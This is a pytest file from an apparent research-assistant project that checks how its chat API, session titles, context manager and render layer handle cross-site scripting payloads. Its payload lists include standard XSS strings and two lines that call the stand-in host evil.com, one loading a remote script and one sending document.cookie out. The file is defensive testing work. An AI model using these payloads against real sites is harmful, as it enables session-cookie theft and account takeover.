learningcircuit--local-deep…/tests/chat/test_chat_xss_prevention.py

"""
XSS prevention tests for chat feature.

Verifies that XSS payloads are handled safely in chat content,
preventing cross-site scripting attacks.
"""

import json
import pytest


# =============================================================================
# XSS Payload Collections
# =============================================================================


# Common XSS payloads for testing
SCRIPT_TAG_PAYLOADS = [
    "<script>alert('XSS')</script>",
    "<script>alert(document.cookie)</script>",
    "<SCRIPT>alert('XSS')</SCRIPT>",
    "<script src='http://evil.com/xss.js'></script>",
    "<script type='text/javascript'>alert('XSS')</script>",
    "<script>document.location='http://evil.com/?c='+document.cookie</script>",
]

EVENT_HANDLER_PAYLOADS = [
    "<img src=x onerror=alert('XSS')>",
    "<img src=x onerror='alert(1)'>",
    "<svg onload=alert('XSS')>",
    "<body onload=alert('XSS')>",
    "<div onmouseover=alert('XSS')>hover me</div>",
    "<input onfocus=alert('XSS') autofocus>",
    "<iframe onload=alert('XSS')>",
    "<video onerror=alert('XSS')><source></video>",
    "<marquee onstart=alert('XSS')>",
    "<object onerror=alert('XSS')>",
]

JAVASCRIPT_URL_PAYLOADS = [
    "<a href='javascript:alert(1)'>Click me</a>",
    "<a href=javascript:alert('XSS')>link</a>",
    "<iframe src='javascript:alert(1)'></iframe>",
    "<object data='javascript:alert(1)'></object>",
    "<embed src='javascript:alert(1)'>",
    "<form action='javascript:alert(1)'><input type=submit></form>",
]

NESTED_XSS_PAYLOADS = [
    "<<script>script>alert('XSS')<</script>/script>",
    "<scr<script>ipt>alert('XSS')</scr</script>ipt>",
    "<img src=x onerror=<script>alert(1)</script>>",
    "<<SCRIPT>alert('XSS');//<</SCRIPT>",
    "<script>alert('XS<script>S')</script>",
]

ENCODED_XSS_PAYLOADS = [
    "&#60;script&#62;alert('XSS')&#60;/script&#62;",  # HTML entities
    "%3Cscript%3Ealert('XSS')%3C/script%3E",  # URL encoded
    "\\x3cscript\\x3ealert('XSS')\\x3c/script\\x3e",  # Hex encoded
    "\u003cscript\u003ealert('XSS')\u003c/script\u003e",  # Unicode
]

DATA_URL_PAYLOADS = [
    "<a href='data:text/html,<script>alert(1)</script>'>click</a>",
    "<iframe src='data:text/html,<script>alert(1)</script>'></iframe>",
    "<object data='data:text/html,<script>alert(1)</script>'></object>",
]


# =============================================================================
# Content Sanitization Tests
# =============================================================================


class TestChatContentSanitization:
    """Tests verifying XSS payloads are sanitized in chat content."""

    @pytest.mark.parametrize("payload", SCRIPT_TAG_PAYLOADS)
    def test_script_tags_handled_in_message(
        self, payload, authenticated_client
    ):
        """Test that script tags in messages are handled safely."""
        # Create session
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Test"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        # Send message with XSS payload
        response = authenticated_client.post(
            f"/api/chat/sessions/{session_id}/messages",
            json={"content": payload, "trigger_research": False},
            content_type="application/json",
        )

        # Message should be accepted (we don't reject content, just escape it)
        assert response.status_code == 200

        # Retrieve the message
        messages_resp = authenticated_client.get(
            f"/api/chat/sessions/{session_id}/messages"
        )
        messages = json.loads(messages_resp.data)["messages"]

        # Find our message (should be the last one)
        user_messages = [m for m in messages if m["role"] == "user"]
        assert len(user_messages) > 0

        # API layer stores raw content; sanitization happens at display layer
        # Verify the content is stored exactly as submitted (not silently dropped)
        last_message = user_messages[-1]
        assert last_message["content"] == payload

    @pytest.mark.parametrize("payload", EVENT_HANDLER_PAYLOADS)
    def test_event_handlers_handled_in_message(
        self, payload, authenticated_client
    ):
        """Test that event handlers in messages are handled safely."""
        # Create session
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Test"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        # Send message with XSS payload
        response = authenticated_client.post(
            f"/api/chat/sessions/{session_id}/messages",
            json={"content": payload, "trigger_research": False},
            content_type="application/json",
        )

        assert response.status_code == 200

    @pytest.mark.parametrize("payload", JAVASCRIPT_URL_PAYLOADS)
    def test_javascript_urls_handled_in_message(
        self, payload, authenticated_client
    ):
        """Test that javascript: URLs in messages are handled safely."""
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Test"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        response = authenticated_client.post(
            f"/api/chat/sessions/{session_id}/messages",
            json={"content": payload, "trigger_research": False},
            content_type="application/json",
        )

        assert response.status_code == 200

    @pytest.mark.parametrize("payload", NESTED_XSS_PAYLOADS)
    def test_nested_xss_payloads_handled(self, payload, authenticated_client):
        """Test that nested/evasion XSS payloads are handled safely."""
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Test"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        response = authenticated_client.post(
            f"/api/chat/sessions/{session_id}/messages",
            json={"content": payload, "trigger_research": False},
            content_type="application/json",
        )

        assert response.status_code == 200


class TestSessionTitleSanitization:
    """Tests verifying XSS payloads are sanitized in session titles."""

    @pytest.mark.parametrize(
        "payload",
        SCRIPT_TAG_PAYLOADS[:3] + EVENT_HANDLER_PAYLOADS[:3],
    )
    def test_xss_in_session_title(self, payload, authenticated_client):
        """Test that XSS payloads in session titles are handled safely."""
        # Create session with XSS in initial query (becomes title)
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": payload},
            content_type="application/json",
        )
        assert create_resp.status_code == 200
        session_id = json.loads(create_resp.data)["session_id"]

        # Verify session was created
        session_resp = authenticated_client.get(
            f"/api/chat/sessions/{session_id}"
        )
        assert session_resp.status_code == 200

    @pytest.mark.parametrize(
        "payload",
        SCRIPT_TAG_PAYLOADS[:3] + EVENT_HANDLER_PAYLOADS[:3],
    )
    def test_xss_in_title_update(self, payload, authenticated_client):
        """Test that XSS payloads in title updates are handled safely."""
        # Create session
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Normal query"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        # Update title with XSS payload
        update_resp = authenticated_client.patch(
            f"/api/chat/sessions/{session_id}",
            json={"title": payload},
            content_type="application/json",
        )

        # Should either accept (and escape on display) or reject
        assert update_resp.status_code in [200, 400]


class TestContextManagerXSS:
    """Tests verifying XSS handling in context manager."""

    def test_xss_in_messages_handled_in_context(self):
        """Test that XSS in messages doesn't affect context building."""
        from src.local_deep_research.chat.context import ChatContextManager

        messages = [
            {
                "id": "msg-1",
                "role": "user",
                "content": "<script>alert('XSS')</script>",
                "message_type": "query",
                "research_id": None,
            },
            {
                "id": "msg-2",
                "role": "assistant",
                "content": "Response with <img onerror=alert(1)>",
                "message_type": "response",
                "research_id": "research-1",
            },
        ]

        manager = ChatContextManager("test-session", messages, {})

        # Context building should not crash
        context = manager.build_research_context()
        assert isinstance(context, dict)

        # Findings store the raw content as-is (escaping is the UI layer's job)
        assert "<img onerror=alert(1)>" in context["accumulated_findings"]

    def test_xss_in_accumulated_context(self):
        """Test that XSS in accumulated context is handled safely."""
        from src.local_deep_research.chat.context import ChatContextManager

        accumulated = {
            "key_entities": [
                "<script>alert('XSS')</script>",
                "normal entity",
            ],
            "topics": ["<img onerror=alert(1)>"],
            "summary": "<svg onload=alert(1)> summary text",
        }

        manager = ChatContextManager("test-session", [], accumulated)

        # Should handle without crashing
        entities = manager._get_key_entities()
        _topics = manager._get_topics()  # noqa: F841

        assert "<script>" in entities[0]  # Stored as-is, escaped on display
        assert "normal entity" in entities


class TestAPIResponseSafety:
    """Tests verifying API responses don't execute XSS."""

    def test_json_response_safe_from_xss(self, authenticated_client):
        """Test that JSON responses are safe from XSS injection."""
        # Create session with XSS payload
        payload = "<script>alert('XSS')</script>"
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": payload},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        # Get session
        session_resp = authenticated_client.get(
            f"/api/chat/sessions/{session_id}"
        )

        # Response should be JSON
        assert session_resp.content_type.startswith("application/json")

        # JSON responses are inherently safe from XSS when parsed as JSON
        # The browser won't execute scripts in JSON content
        data = json.loads(session_resp.data)
        assert data["success"] is True

    def test_content_type_prevents_html_interpretation(
        self, authenticated_client
    ):
        """Test that Content-Type prevents HTML interpretation."""
        # Make a request that returns data with XSS
        response = authenticated_client.get("/api/chat/sessions")

        # Content-Type must be application/json, not text/html
        assert "application/json" in response.content_type
        assert "text/html" not in response.content_type


class TestInputLengthLimits:
    """Tests verifying input length limits prevent XSS amplification."""

    def test_message_length_limit_enforced(self, authenticated_client):
        """Test that message content length is limited."""
        # Create session
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Test"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        # Try to send a very long message (potential XSS amplification)
        long_payload = "<script>alert(1)</script>" * 10000  # ~280KB

        response = authenticated_client.post(
            f"/api/chat/sessions/{session_id}/messages",
            json={"content": long_payload, "trigger_research": False},
            content_type="application/json",
        )

        # Should be rejected if exceeds limit
        # The limit in routes.py is MAX_MESSAGE_LENGTH = 10_000
        if len(long_payload) > 10000:
            assert response.status_code == 400
            data = json.loads(response.data)
            assert "too long" in data["error"].lower()

    def test_title_length_limit_enforced(self, authenticated_client):
        """Test that session title length is limited."""
        # Create session
        create_resp = authenticated_client.post(
            "/api/chat/sessions",
            json={"initial_query": "Test"},
            content_type="application/json",
        )
        session_id = json.loads(create_resp.data)["session_id"]

        # Try to update with a very long title
        long_title = "<script>alert(1)</script>" * 100  # ~2600 chars

        response = authenticated_client.patch(
            f"/api/chat/sessions/{session_id}",
            json={"title": long_title},
            content_type="application/json",
        )

        # Should be rejected if exceeds 500 char limit
        assert response.status_code == 400
        data = json.loads(response.data)
        assert "too long" in data["error"].lower()


# =============================================================================
# Render-time escaping (H_TEST2)
# =============================================================================


class TestRenderTimeEscaping:
    """Verify the *display* layer escapes/sanitises stored payloads.

    The other tests in this module prove XSS payloads are stored verbatim
    (the API deliberately does not reject them). That alone is only safe if
    the render layer escapes them. These tests assert the two render legs:

    1. Server-side Jinja2 autoescape — guards the regression the audit
       flagged: "if autoescape were ever disabled it would land silently".
    2. Client-side render path — guards that chat message content keeps
       flowing through the DOMPurify-backed ``renderMarkdown`` (or a
       ``textContent`` fallback) and is never assigned raw to ``innerHTML``.

    The live in-browser DOMPurify behaviour itself needs Puppeteer coverage
    (tracked alongside P2_UITEST1); this static guard catches the common
    regression of swapping the sanitised path for a raw ``innerHTML``.
    """

    @pytest.mark.parametrize(
        "payload",
        [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<a href='javascript:alert(1)'>x</a>",
        ],
    )
    def test_jinja2_autoescape_escapes_payload(self, app, payload):
        """A script/HTML payload rendered through the app's Jinja2 env is
        HTML-escaped, not emitted raw."""
        from flask import render_template_string

        with app.test_request_context():
            rendered = render_template_string("{{ value }}", value=payload)

        # The raw tag must not survive; the escaped form must be present.
        assert "<script>" not in rendered
        assert "<img" not in rendered
        assert "&lt;" in rendered
        # Autoescape must be active app-wide (the silent-disable guard).
        assert app.jinja_env.autoescape is not False

    def test_chat_render_path_stays_sanitised(self):
        """The chat message renderer must route content through the
        DOMPurify-backed ``renderMarkdown`` with a ``textContent`` fallback,
        and never assign message content raw to ``innerHTML``."""
        from pathlib import Path

        chat_js = (
            Path(__file__).resolve().parents[2]
            / "src/local_deep_research/web/static/js/components/chat.js"
        )
        source = chat_js.read_text(encoding="utf-8")

        # Sanitised render + safe fallback are both wired in.
        assert "window.ui.renderMarkdown(content)" in source
        assert "textEl.textContent = content" in source
        # No raw, unsanitised assignment of message content to innerHTML.
        assert "innerHTML = content" not in source